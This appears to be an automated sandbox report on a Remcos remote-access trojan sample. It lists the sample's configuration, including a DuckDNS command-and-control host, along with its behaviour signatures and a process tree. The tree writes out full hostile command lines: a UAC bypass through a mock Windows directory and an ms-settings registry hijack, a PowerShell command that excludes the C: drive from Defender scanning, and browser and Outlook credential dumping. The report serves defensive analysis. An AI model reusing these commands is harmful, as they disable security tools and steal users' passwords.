Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/07/2024, 10:30

General

  • Target
    e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe
  • Size 1.1MB
  • Sample240727-mkap1svbnr
  • SHA256 e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 127.0.0.1:45645

  • 127.0.0.1:56765

  • latestgrace2024.duckdns.org:56765

  • latestgrace2024.duckdns.org:45645

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-2ZXBPR

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 21 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 3 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe
    "C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2640
    • C:\Users\Public\Libraries\ioeztdcY.pif
      C:\Users\Public\Libraries\ioeztdcY.pif
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1444
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D3BB.tmp\D3CC.tmp\D3CD.bat C:\Users\Public\Libraries\ioeztdcY.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2644
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:4012
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:716
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:3368
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:1872
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:4692
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1624
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:2068
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                4⤵
                • Executes dropped EXE
                • System Network Configuration Discovery: Internet Connection Discovery
                • Suspicious use of WriteProcessMemory
                PID:1564
                • C:\Windows\system32\PING.EXE
                  ping 127.0.0.1 -n 2
                  5⤵
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Runs ping.exe
                  PID:3412
              • C:\Windows\system32\cmd.exe
                cmd.exe
                4⤵
                  PID:5044
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2344
                  • C:\Windows\system32\extrac32.exe
                    extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                    5⤵
                      PID:3764
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4300
                    • C:\Users\Public\xkn.exe
                      C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                      5⤵
                      • Executes dropped EXE
                      • Modifies system certificate store
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:4284
                      • C:\Users\Public\alpha.exe
                        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of WriteProcessMemory
                        PID:4892
                        • C:\Users\Public\ger.exe
                          C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                          7⤵
                          • Executes dropped EXE
                          • Modifies registry class
                          PID:4072
                  • C:\Windows \System32\per.exe
                    "C:\\Windows \\System32\\per.exe"
                    4⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    PID:416
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:376
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettings.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1012
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                    4⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:3228
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM SystemSettingsAdminFlows.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4756
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                    4⤵
                    • Executes dropped EXE
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:2388
                    • C:\Windows\system32\PING.EXE
                      ping 127.0.0.1 -n 2
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:1948
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                    4⤵
                    • Executes dropped EXE
                    PID:1348
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                    4⤵
                    • Executes dropped EXE
                    PID:1000
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                    4⤵
                    • Executes dropped EXE
                    PID:3328
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                    4⤵
                    • Executes dropped EXE
                    PID:3180
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                    4⤵
                    • Executes dropped EXE
                    PID:3872
                  • C:\Users\Public\alpha.exe
                    C:\\Users\\Public\\alpha /c taskkill /F /IM cmd.exe
                    4⤵
                    • Executes dropped EXE
                    PID:2620
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM cmd.exe
                      5⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2408
              • C:\Windows\SysWOW64\extrac32.exe
                C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\e831a72bf963f6c0791f0592fe5015efb6898c6c07c35db5383b1f334c3814f9.exe C:\\Users\\Public\\Libraries\\Ycdtzeoi.PIF
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3712
              • C:\Windows\SysWOW64\SndVol.exe
                C:\Windows\System32\SndVol.exe
                2⤵
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:4360
                • C:\Windows\SysWOW64\SndVol.exe
                  C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\nfjfdhckogowqqewgosmcxytdhouiwn"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2024
                • C:\Windows\SysWOW64\SndVol.exe
                  C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\xzoxezmdkogbawaaxzfffklcmwxcjhdsgm"
                  3⤵
                  • Accesses Microsoft Outlook accounts
                  • System Location Discovery: System Language Discovery
                  PID:2880
                • C:\Windows\SysWOW64\SndVol.exe
                  C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\abcifs"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:212
            • C:\Windows\system32\SystemSettingsAdminFlows.exe
              "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
              1⤵
                PID:3428

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    logs.dat

                    • Path C:\ProgramData\remcos\logs.dat
                    • Size 130B
                    • SHA256 a70d2478b59784e6a15d9ec8fb5457eb30a64cf206d4ee7e29ef43eb7877f9fe
                    • MD5 SHA1 SHA512

                    D3CD.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\D3BB.tmp\D3CC.tmp\D3CD.bat
                    • Size 1KB
                    • SHA256 b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
                    • MD5 SHA1 SHA512

                    __PSScriptPolicyTest_01vu5cad.5ds.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_01vu5cad.5ds.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512

                    nfjfdhckogowqqewgosmcxytdhouiwn

                    • Path C:\Users\Admin\AppData\Local\Temp\nfjfdhckogowqqewgosmcxytdhouiwn
                    • Size 4KB
                    • SHA256 fcb197376fc607f9493ea0460ecac86ca5ae8973120894c6f8353b67e28995d9
                    • MD5 SHA1 SHA512 SSDEEP

                    ioeztdcY.pif

                    • Path C:\Users\Public\Libraries\ioeztdcY.pif
                    • Size 66KB
                    • SHA256 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
                    • MD5 SHA1 SHA512 SSDEEP

                    alpha.exe

                    • Path C:\Users\Public\alpha.exe
                    • Size 283KB
                    • SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
                    • MD5 SHA1 SHA512 SSDEEP

                    ger.exe

                    • Path C:\Users\Public\ger.exe
                    • Size 75KB
                    • SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
                    • MD5 SHA1 SHA512 SSDEEP

                    xkn.exe

                    • Path C:\Users\Public\xkn.exe
                    • Size 442KB
                    • SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
                    • MD5 SHA1 SHA512 SSDEEP

                    per.exe

                    • Path C:\Windows \System32\per.exe
                    • Size 48KB
                    • SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
                    • MD5 SHA1 SHA512 SSDEEP

                    memory/212-102-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/212-103-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/212-105-0x0000000000400000-0x0000000000424000-memory.dmp

                    memory/1444-11-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/1444-8-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/1444-5-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/1444-10-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/1444-88-0x0000000000400000-0x000000000041A000-memory.dmp

                    memory/1444-86-0x0000000000400000-0x0000000001400000-memory.dmp

                    memory/2024-101-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/2024-99-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/2024-104-0x0000000000400000-0x0000000000478000-memory.dmp

                    memory/2640-1-0x0000000000400000-0x0000000000527000-memory.dmp

                    memory/2640-0-0x0000000000B20000-0x0000000000B21000-memory.dmp

                    memory/2880-100-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/2880-109-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/2880-110-0x0000000000400000-0x0000000000462000-memory.dmp

                    memory/4284-42-0x000002B0A9D70000-0x000002B0A9D92000-memory.dmp

                    memory/4360-95-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-66-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-94-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-69-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-75-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-70-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-93-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-92-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-71-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-90-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-89-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-97-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-113-0x0000000016080000-0x0000000016099000-memory.dmp

                    memory/4360-117-0x0000000016080000-0x0000000016099000-memory.dmp

                    memory/4360-116-0x0000000016080000-0x0000000016099000-memory.dmp

                    memory/4360-118-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-65-0x0000000002F80000-0x0000000003F80000-memory.dmp

                    memory/4360-122-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-123-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-130-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-138-0x0000000000400000-0x0000000000482000-memory.dmp

                    memory/4360-139-0x0000000000400000-0x0000000000482000-memory.dmp